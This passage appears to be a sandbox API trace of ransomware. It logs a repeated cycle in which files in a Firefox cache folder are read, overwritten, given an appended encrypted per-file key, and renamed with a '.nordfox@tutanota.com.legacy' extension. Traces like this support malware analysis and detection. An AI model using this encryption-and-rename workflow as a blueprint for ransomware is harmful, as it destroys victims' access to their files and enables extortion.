(lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d80e0 | out: pbBuffer=0x30d80e0) returned 1 [0191.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.568] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6", dwFileAttributes=0x80) returned 1 [0191.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8710 [0191.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.568] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.569] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1356) returned 1 [0191.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54c) returned 0x619c48 [0191.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x54c) returned 0x30f5890 [0191.569] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x54c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x54c, lpOverlapped=0x0) returned 1 [0191.603] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.604] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x54c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54c, lpOverlapped=0x0) returned 1 [0191.604] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54c [0191.604] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.604] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d80e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d80e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.604] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d80e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.604] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.604] CloseHandle (hObject=0x1b80) returned 1 [0191.605] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24BE475A5C9CE3DA33684DFDEE6AC47BC9BA6DE6.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24be475a5c9ce3da33684dfdee6ac47bc9ba6de6.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.846] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d80e0 | out: pbBuffer=0x30d80e0) returned 1 [0191.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0191.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F", dwFileAttributes=0x80) returned 1 [0191.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d78a0 [0191.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.847] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.848] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4411) returned 1 [0191.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113b) returned 0x30f5890 [0191.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x113b) returned 0x30d9040 [0191.848] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x113b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x113b, lpOverlapped=0x0) returned 1 [0191.860] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4411, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.860] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0x113b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113b, lpOverlapped=0x0) returned 1 [0191.860] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113b [0191.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d80e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d80e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.861] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d80e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.861] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.861] CloseHandle (hObject=0x1b80) returned 1 [0191.861] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2414045942C11CC3E304204DAE2B8DFA27711F3F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2414045942c11cc3e304204dae2b8dfa27711f3f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.863] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7588 | out: pbBuffer=0x30d7588) returned 1 [0191.863] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.863] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850", dwFileAttributes=0x80) returned 1 [0191.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7dc8 [0191.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.864] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.864] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17968) returned 1 [0191.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4630) returned 0x30d9040 [0191.864] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4630) returned 0x30dd678 [0191.864] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d9040, nNumberOfBytesToRead=0x4630, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesRead=0x2e1f9bc*=0x4630, lpOverlapped=0x0) returned 1 [0191.871] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-17968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.871] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd678*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd678*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4630, lpOverlapped=0x0) returned 1 [0191.871] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4630 [0191.871] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.871] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.872] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7588*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.872] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.872] CloseHandle (hObject=0x1b80) returned 1 [0191.872] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23E137DFD51BC10A5A373603EA1ED32314D43850.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23e137dfd51bc10a5a373603ea1ed32314d43850.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7588 | out: pbBuffer=0x30d7588) returned 1 [0191.874] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0191.874] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", dwFileAttributes=0x80) returned 1 [0191.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d81e8 [0191.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.875] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.875] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4407) returned 1 [0191.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1137) returned 0x30f5890 [0191.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1137) returned 0x30d9040 [0191.876] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0191.881] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.881] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1137, lpOverlapped=0x0) returned 1 [0191.881] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1137 [0191.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7588*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.882] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7588*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.882] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.882] CloseHandle (hObject=0x1b80) returned 1 [0191.882] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.884] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7dc8 | out: pbBuffer=0x30d7dc8) returned 1 [0191.884] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0191.884] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", dwFileAttributes=0x80) returned 1 [0191.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d78a0 [0191.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.885] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.885] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8644) returned 1 [0191.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x21c4) returned 0x30d9040 [0191.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x21c4) returned 0x30db210 [0191.886] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d9040, nNumberOfBytesToRead=0x21c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesRead=0x2e1f9bc*=0x21c4, lpOverlapped=0x0) returned 1 [0191.887] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.887] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db210*, nNumberOfBytesToWrite=0x21c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x21c4, lpOverlapped=0x0) returned 1 [0191.887] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x21c4 [0191.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7dc8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7dc8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.888] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7dc8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7dc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.888] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.888] CloseHandle (hObject=0x1b80) returned 1 [0191.888] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.890] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d81e8 | out: pbBuffer=0x30d81e8) returned 1 [0191.890] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.890] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", dwFileAttributes=0x80) returned 1 [0191.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7dc8 [0191.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.891] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.891] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5278) returned 1 [0191.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x149e) returned 0x30f5890 [0191.891] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x149e) returned 0x30d9040 [0191.891] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x149e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x149e, lpOverlapped=0x0) returned 1 [0191.892] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5278, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.893] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0x149e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x149e, lpOverlapped=0x0) returned 1 [0191.893] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x149e [0191.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d81e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d81e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.893] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d81e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d81e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.893] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.893] CloseHandle (hObject=0x1b80) returned 1 [0191.894] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), 